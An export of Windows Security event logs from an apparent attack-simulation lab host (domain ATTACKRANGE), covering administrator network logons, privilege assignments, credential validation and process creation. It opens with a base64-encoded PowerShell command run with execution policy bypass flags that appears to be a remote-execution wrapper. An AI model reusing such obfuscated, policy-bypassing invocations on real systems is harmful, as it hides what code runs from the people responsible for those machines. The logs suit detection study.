UABvAHcAZQByAFMAaABlAGwAbAAgAC0ATgBvAFAAcgBvAGYAaQBsAGUAIAAtAE4AbwBuAEkAbgB0AGUAcgBhAGMAdABpAHYAZQAgAC0ARQB4AGUAYwB1AHQAaQBvAG4AUABvAGwAaQBjAHkAIABVAG4AcgBlAHMAdAByAGkAYwB0AGUAZAAgAC0ARQBuAGMAbwBkAGUAZABDAG8AbQBtAGEAbgBkACAASgBnAEIAagBBAEcAZwBBAFkAdwBCAHcAQQBDADQAQQBZAHcAQgB2AEEARwAwAEEASQBBAEEAMgBBAEQAVQBBAE0AQQBBAHcAQQBEAEUAQQBJAEEAQQArAEEAQwBBAEEASgBBAEIAdQBBAEgAVQBBAGIAQQBCAHMAQQBBAG8AQQBKAEEAQgBsAEEASABnAEEAWgBRAEIAagBBAEYAOABBAGQAdwBCAHkAQQBHAEUAQQBjAEEAQgB3AEEARwBVAEEAYwBnAEIAZgBBAEgATQBBAGQAQQBCAHkAQQBDAEEAQQBQAFEAQQBnAEEAQwBRAEEAYQBRAEIAdQBBAEgAQQBBAGQAUQBCADAAQQBDAEEAQQBmAEEAQQBnAEEARQA4AEEAZABRAEIAMABBAEMAMABBAFUAdwBCADAAQQBIAEkAQQBhAFEAQgB1AEEARwBjAEEAQwBnAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBBAGcAQQBEADAAQQBJAEEAQQBrAEEARwBVAEEAZQBBAEIAbABBAEcATQBBAFgAdwBCADMAQQBIAEkAQQBZAFEAQgB3AEEASABBAEEAWgBRAEIAeQBBAEYAOABBAGMAdwBCADAAQQBIAEkAQQBMAGcAQgBUAEEASABBAEEAYgBBAEIAcABBAEgAUQBBAEsAQQBCAEEAQQBDAGcAQQBJAGcAQgBnAEEARABBAEEAWQBBAEEAdwBBAEcAQQBBAE0AQQBCAGcAQQBEAEEAQQBJAGcAQQBwAEEAQwB3AEEASQBBAEEAeQBBAEMAdwBBAEkAQQBCAGIAQQBGAE0AQQBkAEEAQgB5AEEARwBrAEEAYgBnAEIAbgBBAEYATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBQAEEASABBAEEAZABBAEIAcABBAEcAOABBAGIAZwBCAHoAQQBGADAAQQBPAGcAQQA2AEEARgBJAEEAWgBRAEIAdABBAEcAOABBAGQAZwBCAGwAQQBFAFUAQQBiAFEAQgB3AEEASABRAEEAZQBRAEIARgBBAEcANABBAGQAQQBCAHkAQQBHAGsAQQBaAFEAQgB6AEEAQwBrAEEAQwBnAEIASgBBAEcAWQBBAEkAQQBBAG8AQQBDADAAQQBiAGcAQgB2AEEASABRAEEASQBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBBAHUAQQBFAHcAQQBaAFEAQgB1AEEARwBjAEEAZABBAEIAbwBBAEMAQQBBAEwAUQBCAGwAQQBIAEUAQQBJAEEAQQB5AEEAQwBrAEEASQBBAEIANwBBAEMAQQBBAGQAQQBCAG8AQQBIAEkAQQBiAHcAQgAzAEEAQwBBAEEASQBnAEIAcABBAEcANABBAGQAZwBCAGgAQQBHAHcAQQBhAFEAQgBrAEEAQwBBAEEAYwBBAEIAaABBAEgAawBBAGIAQQBCAHYAQQBHAEUAQQBaAEEAQQBpAEEAQwBBAEEAZgBRAEEASwBBAEYATQBBAFoAUQBCADAAQQBDADAAQQBWAGcAQgBoAEEASABJAEEAYQBRAEIAaABBAEcASQBBAGIAQQBCAGwAQQBDAEEAQQBMAFEAQgBPAEEARwBFAEEAYgBRAEIAbABBAEMAQQBBAGEAZwBCAHoAQQBHADgAQQBiAGcAQgBmAEEASABJAEEAWQBRAEIAMwBBAEMAQQBBAEwAUQBCAFcAQQBHAEUAQQBiAEEAQgAxAEEARwBVAEEASQBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBCAGIAQQBEAEUAQQBYAFEAQQBLAEEAQwBRAEEAWgBRAEIANABBAEcAVQBBAFkAdwBCAGYAQQBIAGMAQQBjAGcAQgBoAEEASABBAEEAYwBBAEIAbABBAEgASQBBAEkAQQBBADkAQQBDAEEAQQBXAHcAQgBUAEEARwBNAEEAYwBnAEIAcABBAEgAQQBBAGQAQQBCAEMAQQBHAHcAQQBiAHcAQgBqAEEARwBzAEEAWABRAEEANgBBAEQAbwBBAFEAdwBCAHkAQQBHAFUAQQBZAFEAQgAwAEEARwBVAEEASwBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBCAGIAQQBEAEEAQQBYAFEAQQBwAEEAQQBvAEEASgBnAEEAawBBAEcAVQBBAGUAQQBCAGwAQQBHAE0AQQBYAHcAQgAzAEEASABJAEEAWQBRAEIAdwBBAEgAQQBBAFoAUQBCAHkAQQBBAD0APQA= - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:40:01 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Special Logon -OpCode=Info -RecordNumber=245999 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x6BC2C - -Privileges: SeSecurityPrivilege - SeTakeOwnershipPrivilege - SeLoadDriverPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege -03/11/2021 11:40:01 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Logon -OpCode=Info -RecordNumber=245998 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E4 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x6BC2C - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Process Information: - Process ID: 0x5c8 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Workstation Name: WIN-DC-725 - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Advapi - Authentication Package: Negotiate - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:40:01 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4648 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Logon -OpCode=Info -RecordNumber=245997 -Keywords=Audit Success -Message=A logon was attempted using explicit credentials. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E4 - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Account Whose Credentials Were Used: - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Target Server: - Target Server Name: localhost - Additional Information: localhost - -Process Information: - Process ID: 0x5c8 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Network Address: - - Port: - - -This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials. This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command. -03/11/2021 11:40:01 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4776 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Credential Validation -OpCode=Info -RecordNumber=245996 -Keywords=Audit Success -Message=The computer attempted to validate the credentials for an account. - -Authentication Package: MICROSOFT_AUTHENTICATION_PACKAGE_V1_0 -Logon Account: Administrator -Source Workstation: WIN-DC-725 -Error Code: 0x0 -03/11/2021 11:40:01 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=245995 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x6B916 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xab4 - New Process Name: C:\Windows\System32\conhost.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0xa14 - Creator Process Name: C:\Windows\System32\winrshost.exe - Process Command Line: \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:40:01 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=245994 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x6B916 - -Process Information: - New Process ID: 0xa14 - New Process Name: C:\Windows\System32\winrshost.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x3b4 - Creator Process Name: C:\Windows\System32\svchost.exe - Process Command Line: C:\Windows\system32\WinrsHost.exe -Embedding - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:40:01 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Special Logon -OpCode=Info -RecordNumber=245993 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x6B916 - -Privileges: SeSecurityPrivilege - SeTakeOwnershipPrivilege - SeLoadDriverPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege -03/11/2021 11:40:01 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Logon -OpCode=Info -RecordNumber=245992 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E4 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x6B916 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Process Information: - Process ID: 0x5c8 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Workstation Name: WIN-DC-725 - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Advapi - Authentication Package: Negotiate - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:40:01 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4648 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Logon -OpCode=Info -RecordNumber=245991 -Keywords=Audit Success -Message=A logon was attempted using explicit credentials. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E4 - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Account Whose Credentials Were Used: - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Target Server: - Target Server Name: localhost - Additional Information: localhost - -Process Information: - Process ID: 0x5c8 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Network Address: - - Port: - - -This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials. This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command. -03/11/2021 11:40:01 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4776 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Credential Validation -OpCode=Info -RecordNumber=245990 -Keywords=Audit Success -Message=The computer attempted to validate the credentials for an account. - -Authentication Package: MICROSOFT_AUTHENTICATION_PACKAGE_V1_0 -Logon Account: Administrator -Source Workstation: WIN-DC-725 -Error Code: 0x0 -03/11/2021 11:40:01 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Logoff -OpCode=Info -RecordNumber=245989 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x6B8C1 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:40:01 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Logoff -OpCode=Info -RecordNumber=245988 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x3BE34 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:40:01 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Logoff -OpCode=Info -RecordNumber=245987 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x3C097 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:40:01 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Special Logon -OpCode=Info -RecordNumber=245986 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x6B8C1 - -Privileges: SeSecurityPrivilege - SeTakeOwnershipPrivilege - SeLoadDriverPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege -03/11/2021 11:40:01 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Logon -OpCode=Info -RecordNumber=245985 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E4 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x6B8C1 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Process Information: - Process ID: 0x5c8 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Workstation Name: WIN-DC-725 - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Advapi - Authentication Package: Negotiate - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:40:01 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4648 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Logon -OpCode=Info -RecordNumber=245984 -Keywords=Audit Success -Message=A logon was attempted using explicit credentials. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E4 - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Account Whose Credentials Were Used: - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Target Server: - Target Server Name: localhost - Additional Information: localhost - -Process Information: - Process ID: 0x5c8 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Network Address: - - Port: - - -This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials. This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command. -03/11/2021 11:40:01 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4776 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Credential Validation -OpCode=Info -RecordNumber=245983 -Keywords=Audit Success -Message=The computer attempted to validate the credentials for an account. - -Authentication Package: MICROSOFT_AUTHENTICATION_PACKAGE_V1_0 -Logon Account: Administrator -Source Workstation: WIN-DC-725 -Error Code: 0x0 -03/11/2021 11:40:01 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Logoff -OpCode=Info -RecordNumber=245982 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x6B888 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:40:01 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Special Logon -OpCode=Info -RecordNumber=245981 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x6B888 - -Privileges: SeSecurityPrivilege - SeTakeOwnershipPrivilege - SeLoadDriverPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege -03/11/2021 11:40:01 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Logon -OpCode=Info -RecordNumber=245980 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E4 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x6B888 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Process Information: - Process ID: 0x5c8 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Workstation Name: WIN-DC-725 - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Advapi - Authentication Package: Negotiate - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:40:01 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4648 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Logon -OpCode=Info -RecordNumber=245979 -Keywords=Audit Success -Message=A logon was attempted using explicit credentials. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E4 - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Account Whose Credentials Were Used: - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Target Server: - Target Server Name: localhost - Additional Information: localhost - -Process Information: - Process ID: 0x5c8 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Network Address: - - Port: - - -This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials. This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command. -03/11/2021 11:40:01 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4776 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Credential Validation -OpCode=Info -RecordNumber=245978 -Keywords=Audit Success -Message=The computer attempted to validate the credentials for an account. - -Authentication Package: MICROSOFT_AUTHENTICATION_PACKAGE_V1_0 -Logon Account: Administrator -Source Workstation: WIN-DC-725 -Error Code: 0x0 -03/11/2021 11:40:01 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Logoff -OpCode=Info -RecordNumber=245977 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x5BB34 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:40:01 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Logoff -OpCode=Info -RecordNumber=245976 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x3D8BF - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:40:01 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Logoff -OpCode=Info -RecordNumber=245975 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x3C28E - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:40:02 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246017 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x6B916 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xaf4 - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0xd6c - Creator Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\ADMINI~1\AppData\Local\Temp\RESDCC3.tmp" "c:\Users\Administrator\AppData\Local\Temp\CSC6DDA32E738E8458C863B3D11E141CA16.TMP" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:40:02 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Special Logon -OpCode=Info -RecordNumber=246016 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - 